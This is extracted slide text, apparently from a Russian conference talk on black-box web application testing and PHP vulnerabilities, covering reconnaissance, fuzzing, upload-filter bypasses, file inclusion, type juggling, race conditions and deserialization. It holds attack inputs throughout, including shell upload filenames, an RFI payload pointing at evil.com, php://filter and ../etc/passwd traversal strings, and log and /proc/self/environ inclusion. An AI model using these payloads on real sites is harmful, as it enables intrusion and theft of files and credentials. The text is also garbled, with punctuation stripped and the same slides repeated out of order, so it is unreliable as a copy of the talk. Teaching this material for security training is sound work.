административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Распознавание платформbull Также взгляните на CSS и JS файлы robotstxt
CHANGELOG и т дbull Эти файлы часто содержат подпись и текущую версию
установленной CMSbull Ещё иногда бывает HTTP-заголовок X-Powered-CMS
(например у Bitrix)bull Часто название CMS написано в атрибуте generator
HTML-тега metabull Ещё ключевые слова com_smth (com_content) =gt Joomla
dle_root =gt DataLife Engine wp-content =gt WordPress и т д
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Сбор информации
bull Проверьте наличие специальных файлов и директорий sitemapxml crossdomainxml robotstxt CHANGELOG svn ssh git CVS DS_Store Thumbsdb testphp infophp phpinfophp phpphp etchellip
bull Поищите бекапы исходных текстов fileext~ fileextswp fileextsave fileextpart fileext fileext fileextbak fileextold fileextun~ filephps filetxt etchellip
bull Перебор файлов и директорий по словарю
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
bull По-хорошему надо фаззить каждый параметр каждого сценария но это довольно долго и опасно (можно что-нибудь уронить)
bull Поэтому полезно выделить основные точки входа в веб-приложение выделить запросы которые не изменяют состояния приложения или изменяют состояние лишь для конкретного пользователя
bull Наиболее вероятные точки проникновения выделить исходя из интуиции и опыта
Быстрый fuzzingbull Сорить в логах ndash нехорошо (и вовсе не только для
black-hatrsquoов)bull Поэтому надо пытаться максимизировать количество
получаемой информации в результате одного запросаbull Это ещё и увлекательная задача на составление
универсальных векторовbull Пример param=a0atesttsetlthokgt26kohbull Проверяем XSS HTTP response splitting HPP SQL-
инъекции а также различные виды иных инъекций кода
Быстрый fuzzing
bull Помимо прочего полезно проверить некоторые массовые уязвимости CVE-2012-1823 CVE-2013-0156 CVE-2014-0160 и т д
bull Какой инструментарий Многое из рассказанного реализовано во фреймворке LibPyWebHack httpsgithubcombechedlibpywebhack
bull В локальной версии у меня реализовано больше когда-нибудь допилю и выложу =)
Уязвимости PHP
bull Почему PHP
Почему ломаем PHP
bull Низкий порог вхождения много глупых кодеров с низкопробным кодом
bull Запутанный язык с месивом различным парадигм
bull Годы небезопасной разработки и тучи учебников и статей с уязвимыми примерами
bull bull PROFIT
lt=$question[0]
bull Где уязвимостьltsession_start()if(isset($_SESSION[is_admin]))
header(Location loginphp)require_once includesadminphphellip
lt=$answer[0]
bull Что делает header()bull Отсылает браузеру HTTP заголовкиbull Это прекращает выполнение сценария НЕТbull Получается мы можем получить доступ к
административному интерфейсуbull Для этого удобно задать в Burp Suite
правило заменяющее в заголовке ответа lsquo302 Foundrsquo на lsquo200 OKrsquo
lt=$question[1]
bull Где уязвимостьlt$salt = somesecret$time = microtime()$file = $_GET[file]$sign = substr(md5($salt$file$time) 0 10)if($sign == $_GET[sign])
readfile($file)
lt=$answer[1]
bull Небезопасное сравнение Оператор проверки эквивалентности в PHP ndash это == а тождественности ndash ===
bull Это означает что == влечёт приведение типов что приводит к неожиданностям
php gt var_dump(00e123123123==0)bool(true)bull Как воспользоваться уязвимостью Достаточно слать
запросы с подписью 0 и ждать пока усечённое значение хеша будет соответствовать 0+ed+
lt=$question[2]
bull Где уязвимостьlt$name = basename($_GET[name])$data = $_GET[data]file_put_contents(htmls$name $data)readfile(htmls$name)unlink(htmls$name)
lt=$answer[2]bull Combo-break Очевидное состояние гонки и менее
очевидная уязвимость PHP Атомарными на верхнем уровне можно считать операции записи чтения и удаления файла
bull Сценарий не блокирует доступ к файлу для других потоков поэтому можно обратиться к нему параллельно и выполнить произвольный код (в php-файле)
bull Кроме того можно остановить сценарий в момент вывода данных в браузер если заменить метод GET на метод HEAD См httpsstudentsmimuwedupl~ai292615php_head_trickpdf
Загрузка файлов
bull Интерфейс загрузки файлов достаточно легко реализовать безопасно однако очень часто разработчики либо совсем забывают про этот аспект либо делают ненужные костыли
bull По сути проверка корректности имени файла превращается в WAF с сопутствующими типичными ошибками
Загрузка файлов
bull Регистрозависимость shellPhP не соответствует запрещающему регулярному выражению php$
bull Отсутствие терминирующего символа shelljpgphp соответствует ^[w]+jpgis
bull Black-listing расширений htaccess testphp3 не соответствуют php$i
bull Black-listing и MIME-типы в Apache shellphpasd не соответствует (htaccess|php3)$is (расширение asd будет отброшено веб-сервером)
Загрузка файлов
bull Управляющие символы в выражении shellphpXXjpg соответствует [w]+jpg$is
bull Терминирующий символ в группе shellbmpphp соответствует ^[w]+(bmp|gif|jpg$)is
bull URL-декодирование имени файла shellphp00jpg проходит разумные проверки но после декодирования будет создан файл shellphp
bull Проверка содержимого getimagesize() обходится очень легко (заголовок GIF11anaa например) Обход сжатия httpsrdotorgforumshowthreadphpt=2780
Загрузка файлов
bull Проверка MIME-типа вместо расширения или содержимого любой файл можно загрузить с Content-Type imagegif
bull Множественная загрузка в интерпретаторе PHP имелась уязвимость (исправлена примерно в 54 версии) позволяющая читать и загружать произвольные файлы путём разрушения структуры массива $_FILES См httpstudentsmimuwedupl~ai292615php_multipleupload_overwritepdf и httpsrdotorgforumshowthreadphpt=1329
File inclusion
bull В PHP-приложениях достаточно распространены уязвимости связанные с чтением или исполнением произвольных файлов
bull Рассмотрим подробнее второй тип ndash подключение исполняемого PHP-кода
bull При этом путь с точки зрения PHP ndash это не просто локальный путь в файловой системе а URL
bull Поэтому разделяют Local File Inclusion и Remote File Inclusion
File inclusion
bull Чтение file_get_contents readfile highlight_file fopen и т д
bull Подключение include(_once) require(_once) и т д
bull Зависимости для эксплуатации RFI в phpini allow_url_fopen = On allow_url_include = On
bull URL-обёртки поддерживаемые PHP httpphpnetmanualenwrappersphp
RFI
bull Суффикс неважен поскольку имена файлов на своём сервере атакующий контролирует Но можно его отбросить при помощи символов x00 обёртки data
bull Варианты запроса httpevilcomshelltxt dataltphpinfo()gt
bull SSRF можно сканировать и просматривать внутреннюю сеть http10101xxport
bull Потенциально возможно исполнение произвольного кода например через обёртку expect
LFI
bull Без префикса pathfile zippathtozipfile phpfilterread=base64encoderesource=pathscriptphp
bull С префиксом pathfilebull С постфиксом pathfile00
pathfile[x~4096] (до версии 534) а также загрузка файла с нужным расширением в доступную директорию
LFI
bull Что подключать Ищем загрузку документов аватаров и т д
bull varlogaccesslog procselfenviron varmail tmpsess_$PHPSESSID любые другие логи доступные на запись
bull Что если include includes str_replace( $_GET[page]) Это тупой нерекурсивный WAF вот обход page=helliphelliphelliphellipetcpasswd
Трюкиbull Such race conditionbull Many shellsbull Very LFI via PHPInfo Wowbull Что если не доступны ни логи ни загрузки Есть
phpinfo() (см слайд 14)bull Утечка имени временного файла через phpinfo()
состояние гонки при замедлении исполнения сценария (до 30 с) в результате имеем подключение файла с произвольным содержимым
bull См httpsrdotorgforumshowthreadphpt=1134
Трюки
bull PHP ndash это весело Windows ndash это весело Смешать но не взбалтывать
bull Windows CsomedirDotherdirfilebull WinAPI ndash это клёво и WinAPI в PHP ndash ещё клёвееHANDLE WINAPI FindFirstFile( _In_ LPCTSTR lpFileName
_Out_ LPWIN32_FIND_DATA lpFindFileData )bull FindFirstFile() используется многими конструкциями
PHP в т ч includebull Угадайте что будет подключеноinclude Cltootltlt
Трюки
bull Таким образом в Windows + PHP даже не нужен phpinfo-сценарий для эксплуатации LFI через временный файл
bull Достаточно отправить файл с шеллкодом и одновременно подключить имя WindowsTempphpltlttmp
bull API-вызов FindFirstFile самостоятельно отыщет временный файл с шеллкодом
bull См httpsrdotorgforumshowthreadphpt=926
Трюкиbull Заметим что трудности могут возникнуть при
включённом Suhosin Patch от Стефана Эссераbull Исполнить загруженный в текущем потоке файл
не удастся поэтому всё равно нужна гонкаbull Ещё из магии Windows+PHP ndash угадайте что
будет подключеноinclude bechedDesktoptesttxtbull Это обход ограничение allow_url_include и
allow_url_fopen См httpsrdotorgforumshowpostphpp=26499amppostcount=58
Десериализация вкратце
bull Уязвимости механизмов сериализации данных ndash не редкость Нашумевшие уязвимости с unserialize() в PHP-движках и с YAML в Ruby on Rails Pickle-сериализация в Python
bull (De)serialization Objects () Stringsbull Уязвимости основаны на том что при
десериализации произвольных данных возможно создание объектов произвольных классов а также вызов определённых laquoмагическихraquo методов (см httpwwwphpnetmanualrulanguageoop5magicphp)
Десериализация вкратце
bull Задача ndash найти доступные классы с магическими методами которые будут вызваны и могут использованы для несанкционированного доступа
bull Часто для этого используется __destruct()bull См
httpsrdotorgforumshowthreadphpt=950
Трюки
bull Можно выделить некоторые трюки Ошибки в обработке строк сериализации httpsrdotorgforumshowthreadphpt=1742
bull Проведение атаки XXE OOB в отсутствие частных классов с магическими методами путём вызова метода __call класса-обработчика SOAP-объектов httpraz0rnametalksconfidence-2013-php-object-injection-revisited
Заключение
bull В заключение ничего нового не скажешьbull TRAIN HARDbull Google Twitter blogs RDot CTF write-ups
documentation coding testing researchbull Надеюсь узнали и запомнили что-то
полезное
Спасибо за внимание
adminahackrubechedincsecurityru
- Секреты чёрного ящика
- Кто я
- Чёрный ящик
- Black box
- Чёрный ящик = Black box
- Анализ защищённости
- Почему black box
- План
- Первые шаги
- Первые шаги (2)
- Первые шаги (3)
- Главные идеи
- Распознавание платформ
- Распознавание платформ (2)
- Распознавание платформ (3)
- Распознавание платформ (4)
- Сбор информации
- Сбор информации (2)
- Сбор информации (3)
- Сбор информации (4)
- Сбор информации (5)
- Быстрый fuzzing
- Быстрый fuzzing (2)
- Быстрый fuzzing (3)
- Уязвимости PHP
- Почему ломаем PHP
- lt=$question[0]
- lt=$answer[0]
- lt=$question[1]
- lt=$answer[1]
- lt=$question[2]
- lt=$answer[2]
- Загрузка файлов
- Загрузка файлов (2)
- Загрузка файлов (3)
- Загрузка файлов (4)
- File inclusion
- File inclusion (2)
- RFI
- LFI
- LFI (2)
- Трюки
- Трюки (2)
- Трюки (3)
- Трюки (4)
- Десериализация вкратце
- Десериализация вкратце (2)
- Трюки (5)
- Заключение
- Спасибо за внимание
-
Сбор информации
bull Также можно обнаружить бекапы баз в директориях типа backups или dumps При этом можно даже угадать формат имени файла например dd-mm-yyyysql
bull Всё это даёт большой объём информации значительно laquoобеляяraquo чёрный ящик Доступ к репозиториям с исходными текстами и вовсе делает его белым
Сбор информации
bull Анализ веб-приложения часто осложняется использованием технологий web 20
bull URL в стиле REST или MVC скрывают начинку и ограничивают формат передаваемых данных
bull Типичный и удобный для взлома пример ndash Apache с mod_rewrite (и PHP)
bull В htaccess указываются регулярные выражения задающие отображение из ЧПУ в настоящие URL
Сбор информации
bull Часто прямой доступ к сценариям не запрещён что позволяет найти их перебором или угадыванием
bull Также можно применить особенность многих версий Apache ndash раскрытие имени сценария в странице HTTP-ошибки 413
bull POST-запрос с некорректным заголовком Content-Length позволяет получить имя сценария
Сбор информацииbull Следующим шагом является получение списка
параметров веб-приложения (POST GET Cookie а также заголовки)
bull Их можно угадать исходя из структуры используемых на сайте ссылок
bull Также можно перебрать по словарю причём используя не линейный а логарифмический поиск
bull par1=1amppar2=1amppar3=1amphellipamppar_i=1amphellipbull Дихотомия по множеству параметров и
размерусодержимому HTTP-ответа
Быстрый fuzzing
